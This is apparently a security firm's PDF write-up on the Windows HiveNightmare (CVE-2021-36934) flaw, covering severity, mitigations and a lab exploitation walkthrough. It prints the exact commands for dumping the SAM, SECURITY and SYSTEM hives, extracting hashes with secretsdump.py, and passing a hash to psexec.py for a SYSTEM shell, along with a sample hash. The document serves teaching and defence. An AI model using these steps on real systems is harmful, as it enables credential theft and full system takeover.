

CVE 2021-36934 HiveNightmare aka SeriousSAM

Rima Yadav | Sheikhar Gautam Pankaj Jorwal

www.safe.security

-



٠

٠

Table of Contents

- INTRODUCTION
- VULNERABILITY SEVERITY

٠

- MITIGATION
- **EXPLOIT IMPLEMENTATION**
- **EXPLOITATION**
- REFERENCES

www.safe.security

٠



Introduction



This document illustrates the exploitation of the vulnerability found in Windows 10 version 1809 and newer operating systems. The vulnerability was allotted CVE on 22/07/2021 and was patched by Microsoft in August 2021 security updates for all affected versions.

Keywords: SAM, Elevation of Privilege Vulnerability, HiveNightmare.

SAM:

The Security Account Manager is a database file in the Windows operating system from Windows XP to the latest Windows installment. SAM file stores user's passwords which can be used to authenticate remote and local users. SAM uses cryptography methods to prevent unauthenticated users from accessing the system

Elevation of Privilege Vulnerability:

It can be defined as an attack that involves gaining access to the privilege beyond what is intended for the user.

HiveNightmare:

HiveNightmare aka SeriouSAM (CVE-2021-36934) is a local elevation of privilege vulnerability that exists due to excessively permissive Access Control Lists (ACLs) on various system files, including the Safety Accounts Manager (SAM) database. If an attacker successfully exploits this vulnerability in a system, it allows them to access registry files stored in folders such as SAM, SECURITY, SYSTEM, DEFAULT, and SOFTWARE. **Safe Security 2021**



Vulnerability Severity

CVSS v3:

Base Score: 7.8 Vector: CVSS:3.1/AV: L/AC: L/PR: L/UI: N/S: U/C: H/I: H/A: H Impact Score: 5.9 Exploitability Score: 1.8 Severity: HIGH

Scope of Impact:

This vulnerability affects the Windows operating system Windows 10 version 1809 and newer operating systems. Affected versions:

- Windows 10 Version 1809
- Windows 10 Version 20H2
- Windows 10 Version 20H1
- Windows 10 Version 1909
- Windows 10 Version 1809
- Windows Server Version 2004
- Windows Server Version 2019

Risk:

Government:

Large and medium government entities: HIGH Small government entities: MEDIUM

Businesses:

Large and medium business entities: HIGH Small business entities: MEDIUM

Home Users: LOW



Mitigation

Method I:

Install Window Security Update (KB5005033)

Note: To fully mitigate this vulnerability you must delete all shadow copies of your system volume after installing this security update.

Method II:

Restrict the access to the content of "%windir%\system32\config" Use Command:

> **Command Prompt (Run as administrator):** icacls %windir%\system32\config*.* /inheritance:e

Windows PowerShell (Run as administrator): icacls \$env:windir\system32\config*.* /inheritance:e

Delete Volume Shadow Copy Service (VSS) shadow copies Identify if Shadow volumes exist with either:

> **Command Prompt or PowerShell (Run as administrator):** vssadmin list shadows

Delete any Shadow volumes and System Restore points that existed before restricting access to the contents of **%windir%\system32\config**



Exploit implementation

Attack Scenario:

We will be looking at a scenario with a target machine running a vulnerable Windows version which is done using VMWARE.

In this scenario, we will use HiveNightmare exploit to dump the registry files. Then we will try to Escalate the privileges by using "Secretsdump.py" and "psexec.py".

For this practical we will need:

- A target machine with a vulnerable Windows version installed (A system with at least one shadow copy).
- A Kali Linux machine to access the Target system and exploit the vulnerability.

Exploitation

First, download HiveNightmare.exe from GitHub on the targeted machine.
 "https://github.com/GossiTheDog/HiveNightmare"

Recycle Bin			
Microsoft Edge	Image: Pile Home Share View Application Tools Image: Pile Home Share View Application Tools Image: Pile Home Image: Pile Image: Pile Image: Pile Image: Pile Name Image: Pile Image: Pile Image: Pile Image: Pile Image: Pile Image: Pile Image: Pile Image: Pile Image: Pile Pile Pile Pile Image: Pile Image: Pile Image: Pile Pile Pile Pile Pile Pile Pile Image: Pile Pile Pile Pile Pile Pile Pile Pile Image: Pile Pile <th>HiveNightmare - X Search HiveNightmare Date modified Type Size 8/16/2021 1:34 PM Application 222 KB</th> <th>Command Prompt</th>	HiveNightmare - X Search HiveNightmare Date modified Type Size 8/16/2021 1:34 PM Application 222 KB	Command Prompt
	Network 1 item 1 item selected 222 KB	•	192.168.29.1 C:\Users\Pankaj>



- 2. Execute the HiveNightmare.exe exploit in CMD/PowerShell to dump the following files
 - a. SAM FILE
 - b. SECURITY FILE
 - c. SYSTEM FILE

Command: HiveNightmare.exe



3. Using Python script "secretsdump.py" to retrieve hashes stored in the files that were dumped using HiveNightmare.exe.

"https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py" Command:

> python3 secretsdump.py -system SYSTEM-2021-07-24 -security SECURITY-2021-07-24 -sam SAM-2021-07-24 local





After executing we get the local SAM hashes of all the users in the system.

4. Now we use the "psexec.py" script to get the remote shell of the target.
 "https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py"
 We can execute the psexec.py by using the following command:

python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:1eee20c4f112dfb101c08fd15f066ef5 jorwal@192.168.29.6 powershell.exe





5. When executed successfully, we connect to the target system with the privilege of NT Authority/System. Command:

systeminfo | more



Result:

Control of the set									
<pre>fe Ext yee vM Dat Beb II - O I II II</pre>	🔁 Kali - VMware Workstation				- • ×				
Image: Source Sourc	File Edit View VM Jabs Help 📙 - 목 🖓 🦀 🚇 [
Image:	Home X □ Windows 10 x64 X □ Kali X □ My Computer X								
<pre>bid@dui.r/Deaktop/SEXIC Fie Ackins Edit View Hep Fie Ackins Edit View Hep file Chaile Status/SEXIC) fighted Status/SEXIC() fighted fighte</pre>	📉 📰 📩 🦓 🖭 🗸 🔤 🖿 kali@kali:	~/Desktop/PS		05:3	9 PM 🗖 🚸 🌲 😋 🔒 🚱				
File Actions Edit View Help (Malige Mail) - (-/Beskttop/PSKC) spytchm Spack.cpu - hashes andSb435b51404eeand3b435b51404ee21eee26c4f112dfb101c08fd15f806ef5 jorwald192.168.29.6 powershell.exe Impacted V 0.5/24.der1-2021081.504.3594.3594.25967c5 - Copyright 2201 SecureAuth Corporation (*) Found writable share ADMIN5 (*) Found writable share ADMIN5 (*) Uposing SycAmage rom 192.108.29.6 (*) Opening SycAm		kali@kali:~/De:	ktop/PSEXEC		_ = ×				
yound substance of 20 and 20 an	File Actions Edit View Help				1				
<pre>i Pequesting shares on 192.168.29.6 i Found stratule share ANNAS i Uploading file GryatsMasee i Space Stratule share ANNAS i Uploading file GryatsMasee i Opening Sytem320 stratule share ANNAS i Uploading file GryatsMasee i Opening Sytem320 stratule share ANNAS i Uploading file GryatsMasee i Opening Sytem320 stratule share ANNAS i Opening Sytem320 stratule share Sytem320 stratule share Sytem320 stratule share System320 stratule share System330 stratule share System320 stratule share System330 str</pre>	<pre>(kali@ kali)-[~/Desktop/PSEXEC]</pre>	1404ee:1eee20c4f112dfb101c08fd15f066ef5 ; 2021 SecureAuth Corporation	orwal@192.168.29.6 powershell.exe						
Try the new cross-platform PowerShell https://aka.ms/pscore6 PS C:VWindows/system32> net user et user User accounts for \\ Administrator DefaultAccount Guest panka) raj panka, raj PARAJ raj PARAJ raj PS C:VWIndows/system32> whoani hoasi nt authority/system PS C:VWIndows/system32> systeminfo more s	 [*] Requesting shares on 192.168.29.6 [*] Found wriable shares AMMIN§ [*] Uploading file GTyDaFxM.exe [*] Oppening SVCManager on 192.168.29.6 [*] Starting service fgRw on 192.168.29.6 [*] Starting service fgRw [*] Press help for extra shell commands Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved 								
PS C:\Windows\system32> net user et user User accounts for \\ 	Try the new cross-platform PowerShell https://aka.ms/pscore6								
user User accounts for \\ Administrator DefaultAccount Administrator Panka's raj wDAGUTILItyAccount The command completed with one or more errors. PS C:\Windows\system32> whoani hoani nt authority\system PS C:\Windows\system32> systeminfo more PS C:\Windows\system32> systeminfo more PS C:\Windows\system32> systeminfo more Systeminfo more Most Name: DESKT0P-VDVUOL OS Version: 10 a.9.598/M/A Build 1980.3 OS Version: 10 a.9.598/M/A Build 1980.3 OS Configuration: Standblows OS Configuration: Standblows Workstation OS Build Type: Wultiprocessor Free To directinput to this VM, move the mouse pointer inside or pres Cth-G.	PS C:\Windows\system32> net user								
user accounts for (\ Administrator DefaultAccount Faj Jorwal Pankaj Faj WAGUILIUSAccount The command completed with one or more errors. PS C:\Windows\system32> whoami hoami nt authority\system PS C:\Windows\system32> systeminfo more Systeminfo mor	et user								
Administrator DefaultAccount Panka' Guest raj gorwal Panka' Completed with one or more errors. PS C:\Windows\system32> whoani hoami nt abors PS C:\Windows\system32> systeminfo more Systeminfo more Standalone Workstation Multiprocessor Free To direct Houre Multiprocessor Free To direct Houre Multiprocessor Free Systeminfo more Systeminfo more Systeminfo more Systeminfo more Standalone Workstation Multiprocessor Free Systeminfo more Systeminfo more Systeminfo more Systeminfo more St	User accounts for \\								
PS C:\Windows\system32> whoani hoami nt authority\system PS C:\Windows\system32> systeminfo more systeminfo more systeminfo more Host Name: DESKTOP-VDVCUOL OS Name: Microsoft of ducation OS Version: 10.0.1904 N/A Build 19043 OS Manufacturer: Microsoft Corporation OS Configuration: Standalome Workstation OS Build Type: Multiprocessor Free To direct input to this VM, move the mouse pointer inside or press Cril-G.	Administrator DefaultAccount Guest jorwal Pankaj raj WDAGUtilityAccount The command completed with one or more errors.								
Host Name: DESKTOP-VDVCUOL OS Name: Microsoft Windows 10 Education OS Version: 10.0.1904 3/A Build 1904 3 OS Manufacturer: Microsoft Corporation OS Configuration: Standalome Workstation OS Build Type: Multiprocessor Free To direct input to this VM, move the mouse pointer inside or press Cril-G.	PS C:\Windows\system32> whoami hoami nt authority\system PS C:\Windows\system32> systeminfo more systeminfo more								
To direct input to this VM, move the mouse pointer inside or press Ctrl+G.	Host Name: DESKTOP-VDVCUOL 05 Name: Microsoft Windows 10 Education 05 Version: 10.0.19043 N/A Build 19043 05 Manufacturer: Microsoft Corporation 05 Configuration: Standalone Workstation 05 Build Type: Multiprocessor Free								
	To direct input to this VM, move the mouse pointer inside or press Ctrl+G.				📮 🛛 🕏 🖨 🍕 🔽				

Acquired NT Authority\SYSTEM access of our target machine, which is the most powerful account on a Windows local instance.



References

- 1. <u>https://news.sophos.com/en-us/2021/07/22/hivenightmare-aka-serioussam-vulnerability-what-to-do/</u>
- 2. <u>https://www.socinvestigation.com/exploiting-the-hive-nightmare-cve-2021-36934-detection-prevention/</u>
- 3. https://msandbu.org/serious-sam-cve-2021-36934/
- 4. https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36934
- 5. <u>https://www.cisecurity.org/advisory/critical-patches-issued-for-microsoft-products-august-10-2021/</u>





.

•



www.safe.security | info@safe.security

Palo Alto 3000, El Camino Real, Building 4, Suite 200, CA 94306 .

۲

•

۲